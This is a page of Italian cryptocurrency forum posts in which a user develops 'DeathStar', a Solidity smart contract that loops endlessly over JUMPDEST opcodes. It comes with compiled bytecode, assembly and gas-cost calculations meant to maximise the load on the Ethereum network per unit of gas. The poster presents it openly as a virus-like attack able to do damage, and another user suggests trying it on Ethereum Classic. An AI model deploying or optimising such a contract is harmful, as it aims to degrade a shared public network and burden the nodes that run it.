b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5 b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b5b 61004f565b5600a165627a7a72305820ee78c2a05eeec0067f21c039d9876e47f4397627e2469cd f45407ae4e91422090029




     
Dai compilatori moderni (dalla 0.5 in poi, adesso siamo al 0.8.8 ) hanno tolto la possibilita' di fare molte di queste cose,
ad esempio una tag per il jump (guarda caso....) comunque ho trovato un vecchio compilatore solc
che mi ha macinato il codice!

Questo e' il codice binario di uno smart contract eseguibile in rete!

Alcune considerazioni:

Inizilamente mi ero focalizzato sullo scrivere un codice che si auto-replicava...
ma poi mi sono reso conto che qualsiasi programma scritto per ethereum e' un Virus by-design!

Pensateci: qualsiasi programma (o smart contract come lo chiamano loro), proprio per architettura, viene eseguito su tutti i nodi!
unico anticorpo: il costo dell'esecuzione.

quindi non mi serviva nessuna logica di auto replicazione, ma solo una logica per essere il piu' "competitivo"
tra i possibili programmi (virus) in esecuzione, ossia quello piu' resistente all'unico anticorpo.

E nessuno puo' essere piu' competitivo di questo, che ha un costo medio di un solo gas per istruzione!

Altra nota tecnica: in realta' il codice di "wrap" fisso attorno ad una funzione, in questo caso la funzione DeathLoop,
(quello segnato in grassetto qui sotto) tende ad appesantire  il rapporto gas per istruzione,
ma lo fa solo per il primo ciclo, poi il rapporto comincia a calare e ad arrivare prossimo a 1 gas per istruzione

Quote
sub_0: assembly {
        /* "death":26:16255  contract DeathStar... */
     mstore(0x40, 0x60)
      calldataload(0x0)
      0x100000000000000000000000000000000000000000000000000000000
      swap1
      div
      0xffffffff
      and
      dup1
      0x4b489b32
      eq
      tag_2
      jumpi
    tag_1:
      invalid
        /* "death":53:16250  function DeathLoop() public... */
    tag_2:
      jumpi(tag_3, iszero(callvalue))
      invalid
    tag_3:
      tag_4
      jump(tag_5)
    tag_4:
      stop
    tag_5:
        /* "death":172:179  loop000 */

    tag_7:
        /* "death":188:195  loop001 */
  
837  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 20, 2021, 07:25:54 PM
Se è lo stesso codice che gira in ETC si potrebbe provarlo gratis sulla blockchain di Ethereum Classic e vedere l'effetto che fa.
Farlo live sulla mainnet di ETH comporta un discreto impiego di risorse considerati i tuoi calcoli.
Ora ragionando al contrario, assumendo che questo tipo di attacco funzioni, quali sarebbero le contromisure? Immagino, per l'ennesima volta, che ciò richieda in HF per attuare eventuali correttivi.

Ci sono degli strumenti di sviluppo.

Il piu' consono in questo caso credo sia Ganache, che ti crea una blockchain ethereum locale
sulla quale spataccare... ed ha il vantaggio di fare le prove che vuoi senza far suonare tanti campanelli,
lo svantaggio di essere moooolto lontano da una situazione reale. Diciamo che per un primo test puo' andare.

(Purtroppo come vedete sto approfondendo un po' ethereum.
E piu' ci entro dentro e piu' mi rendo conto che e' una cosa totalmente insostenibile, sotto
ogni punto di vista, uno di questi e' proprio lo sviluppo.... sviluppare e PROVARE e' letteralmente un incubo,
visto che una volta messo online il codice NON puoi piu' tornare indietro)
838  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 20, 2021, 07:21:59 PM

DOMANDA:
Parli di 1,000 jumpdest... ma si piò aumentare ulteriormente il numero per ridurre ancora il costo?



Si ma il migliormento e' sempre piu' marginale, perche' l'efficenza si avvicina asintoticamente
al costo medio di 1 gas per istruzione.

Comunque uno smart contract puo' essere al massimo  24500 byte circa, quindi
al massimo si possono mettere 24500 jumpdest.

Rifacendo il calcolo con 24.500 jumpdest abbiamo 24502 opcode ad un costo di 24511 gas
il costo medio di ogni opcode diventa quindi 1,00036 gas ossia 36.0129 gwei per opcode
In pratica col famoso ethereum faccio 27.767.827 (un incemento percentuale quasi insignificante).


839  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 18, 2021, 11:08:55 PM
Una nuova versione dello smart contract, altamente ottimizzata.

pragma solidity ^0.4.0;

contract DeathStar
   {
   function DeathLoop() public
      {
      assembly
       {
       // push address stack+1 costo Wverylow=3gas
       loop:

         // jumpdest stack immutato, costo Gjumpdest=1gas
         jumpdest
         jumpdest
         jumpdest
         ..... ripetere n volte.
         jumpdest
         jumpdest

         // jmp address  stack -1  costo Wmid=8gas
         jump(loop)
       }
     }
   }


Dal punto di vista logico, il codice sembra non avere senso, ma ricordiamo che l'obiettivo del codice e' di eseguire
il massimo numero di operazioni al minor costo possibile.

Ecco quindi il senso: ogni operazione JUMPDEST ha un costo di un solo gas!
in questo modo eseguaimo n jumpdest  per un solo gas, e poi una push da 3 gas + una jump da 8 gas

in pratica se n vale 100, looppiamo eseguendo ad ogni ciclo di loop  102 opcode ad un costo di 111 gas (ossia cost medio 1.088 gas)

In questo momento il costo del gas e' 36 gwei (piu' basso dell'altro giorno)
un conto caricato con un ethereum equivale a 1.000.000.000 di Gwei
siccome ogni opcode del ciclo mi costa in media 1.088 gas ogni opcode mi costa 39.168 Gwei.

ossia in questo momento con un ethereum potrei eseguire 25.500.000 di opcode circa, un notevolissimo miglioramento
rispetto alle prime versioni

Si puo' ottenere un ulteriore piccolo miglioramento percentuale aumentando il numero dei jumpdest...
ad esempio con 1000 jumpdest ad ogni ciclo eseguiamo 1002 opcode al prezzo di 1011 gas, ad un prezzo medio di 1,0089 gas per opcode.
Con questa ulteriore ottimizzazione posso arrivare ad un costo medio di 36.32 Gwei per opcode,
ossia con un ethereum posso arrivare ad eseguire 27.500.000 opcode.

Questo e' il massimo livello possibile di ottimizzazione raggiungibile, cioe' il tipo di loop che genera il maggior
lavoro possibile della EVM al minor costo possibile
, in quanto non esistono istruzioni utilizzabili per questo scopo dal costo di 0 gas
(le uniche al costo di 0 gas STOP, RETURN, REVERT stoppano l'esecuzione dello smart contract).

Con questo livello di ottimizzazione, (o pessimizzazione dal punto di vista della EVM)
penso davvero che si possano cominciare a fare dei danni.... e ironia della sorte  
l'operatore jumpdest (che fondamentalmente non serve a nulla, se non a stabilire che una certa locazione e' jumpabile)
e' stato introdotto come ulteriore livello di sicurezza!

Unico problema l'assembler di solidity NON permette di imettere l'opcode jumpdest, ma si puo' facilmente bypassare
inserendo direttamente il codice macchina a manazza, vista la banalita' del programma. Si tratta
fondamentalmente di immettere una serie di 0x5b che e' il codice macchina di JUMPDEST


840  Local / Italiano (Italian) / Re: Stato rete ethereum on: August 18, 2021, 10:17:28 AM
Una prima versione, non so se si compila sopratutto non so che codice macchina genera davvero,
bisogna verificare con un ambiente di sviluppo (che io non ho e vorrei continuare a non avere ...)



pragma solidity ^0.4.0;

contract esempio
   {
   function loop() public
      {
      assembly
       {
       // push address stack+1 costo Wverylow=3gas
       loop:


          // push a stack+1 costo Wverylow=3gas
          // push b stack +1 costo Wverylow=3gas
          // mul a b stack -2 (pop operandi) +1 (push risultato) costo Wlow=5gas
          // il compilatore ottimizza questa mul ? si possono disabilitare le ottimizzazioni?
          // se si ottimizza si puo' bypassare con mul(add(div(.....)))?? da verificare in codice macchina
          mul(12312, 8374832)

          //Il valore letto dallo stack viene "buttato via" con la pop, tanto non ci interessa,
          // se la mul senza assegnazione non fa la pop, la faccio io a mano, da verificare in codice macchina.
          // qui sono a stack+1 serve una pop per tornare a zero
          pop stack -1 costo wbase=2gas
          
        
         // jmp address  stack -1  costo Wmid=8gas
         jump(loop)
       }
     }
   }



Lo stack rimane sempre bilanciato, quindi non cresce indefinitamente.

come si vede sono 3 istruzioni assembler ad ogni ciclo, che in realta'
generano 6 istruzioni EVM il totale dei gas e' 24 24/6 = 4 gas valore medio per ogni istruzione del loop.
quindi arriviamo a circa 3.000.000 di sitruzioni al costo di circa un ethereum.

Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 ... 192 »
Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!